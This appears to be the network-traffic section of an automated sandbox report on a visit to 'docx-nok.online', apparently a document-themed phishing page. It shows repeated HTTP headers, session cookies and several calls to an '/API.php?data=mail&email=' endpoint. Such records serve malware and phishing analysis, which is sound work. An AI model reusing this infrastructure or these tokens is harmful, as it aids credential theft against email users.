cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /APP-0a6095cf83124146bdbff28bf2470f1566228761d30a1/0a6095cf83124146bdbff28bf2470f1566228761d30a2 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /o/0a6095cf83124146bdbff28bf2470f1566228761d30cc HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/m_.svg HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/sig-op.svg HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /x/0a6095cf83124146bdbff28bf2470f1566228761d30a7 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/sig-op.svg HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /ASSETS/img/m_.svg HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /x/0a6095cf83124146bdbff28bf2470f1566228761d30a7 HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /o/0a6095cf83124146bdbff28bf2470f1566228761d30cc HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GHPArUCwvScl3Mw&MD=veMr7Bd5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=testing@outlook.com&_=1713538912791 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-platform-version: "10.0.0"X-Requested-With: XMLHttpRequestsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=testing@outlook.com&_=1713538912791 HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: 120X-DeviceID: 01000A410900B03DX-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcazoNqFUVBGC0kuKd6Xq5GOi%2BGNOuWXfHDAMCDFlK2G5UUCLkutsbNrOUX63Pi7otjYPgDUZQYY6hhyT7L5ynpPq3ZI1Ywu/tiQK97Mn3/48XHqNC9XFhEgAOjU0RGDkkrEJ1ns3Wz099gi46O1SFOveJbLSijnNmi0D19mh138IBKocfM7wU2bmxxpCjtjOVkNdyOcMwf4SFYOvBzv4fxWzgrHIa1wOREa6%2BEdSf8HgxagcwNpu5Bgym7QgXws9KFQFDEitb3D%2BY7H2egjDmx600ALzhcb/Eb6v5ZixsX9bKvTMWgBJTghmQ6xIOsoOmaAixU/hgYitIYMX3kLaW4DZgAACEy2lNENRtssqAHaQbhuTSuVSVSZtlE%2B5KHSG2WPpsfWtigvbBp6MHRRG%2BRiTuPZRznC9t0UG6Z2I3a2QIQesurUbXl/EQGBltWemhPnpPVkjrJosIuVduFxXwVnXbZZY7s0SksgsUConCNrIzCXNuv31ypstckJQjN/1gXCfROs5tJz7Frs7z/YL22wzxkaN0tZhmMMCdRTgo0uC8pCeUkv8ths4jWwKQUX113PauIpCKFfyeFhh9iMIyalPxX1FG1BSK6CRYDp2rsu4DA8UicTgoD8dNLLzK9H19HYwjkccH4fx13LAZFR%2B3RgzphM440SaOJNeVCPW%2BIxqbYg6NaPkDVDfizPXP6czO5BGoUH3JbuIMQTSqgUb7PlkpninQhswLKb9HeHANH2etXvDvq4jOqssEbXHXOp0jeKHE2u9u2ekXQ8xBfTQyGfFko/Lat7XDT75qHnC85NayagaNkuXNLUVCPNNlvl%2B0xKqRJWbqS2MuA9D0d1/iEWr8xsKBwYRp57daaJCC93EJnkYLJrX3%2BeQafibO8KUwUkpwM8bhh1//9b8ztfsakiZ2us%2Bjqm2AE%3D%26p%3DX-Agent-DeviceId: 01000A410900B03DX-BM-CBT: 1713538929User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045X-Device-isOptin: falseAccept-language: en-GB, en, en-USX-Device-Touch: falseX-Device-ClientSession: 12DA171CEA7F44809FB2E01AD5BB71ABX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIHost: www.bing.comConnection: Keep-AliveCookie: SRCHUID=V=2&GUID=B4BB39E5F80E411D94C438C0FA7ACF94&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&LUT=1707317051026&IPMH=6b344233&IPMID=1707317270835&HV=1707317277; ANON=A=680C1B1A649CBD64DD40EBFCFFFFFFFF; MUID=BC76BB0020D345C1A049A4820CB4C03C; MUIDB=BC76BB0020D345C1A049A4820CB4C03C
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GHPArUCwvScl3Mw&MD=veMr7Bd5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=alen@outlook.com&_=1713538912792 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-platform-version: "10.0.0"X-Requested-With: XMLHttpRequestsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=alen@outlook.com&_=1713538912792 HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=alen@outlook.com&_=1713538912793 HTTP/1.1Host: docx-nok.onlineConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.149"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-platform-version: "10.0.0"X-Requested-With: XMLHttpRequestsec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-platform: "Windows"Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
Source: global traffic	HTTP traffic detected: GET /API.php?data=mail&email=alen@outlook.com&_=1713538912793 HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21

Source: unknown

DNS traffic detected: queries for: docx-nok.online

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1Host: docx-nok.onlineConnection: keep-aliveContent-Length: 1949sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"Content-type: application/x-www-form-urlencodedsec-ch-ua-full-version: "117.0.5938.149"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""CF-Challenge: b9a92c2ac5a9fbesec-ch-ua-platform: "Windows"Accept: */*Origin: https://docx-nok.onlineSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://docx-nok.online/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 19 Apr 2024 15:01:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16541Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: oNGvAjPWGN2m+zwmouqnvH6axD6dZaTKXQKzg5FS2iiMEm7f3UwFdMtyEIY3b7+gwGmbJUr4JrlzA7ydy7sJU+69SBJnAmGGGsJxbdar5bALQtCPL4Nk6qohEd2iNcJzz8fEfaZW2h2TJ7BR5VbD1Q==$Y9J3Ft+c4pIx3Vd37TMFyQ==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
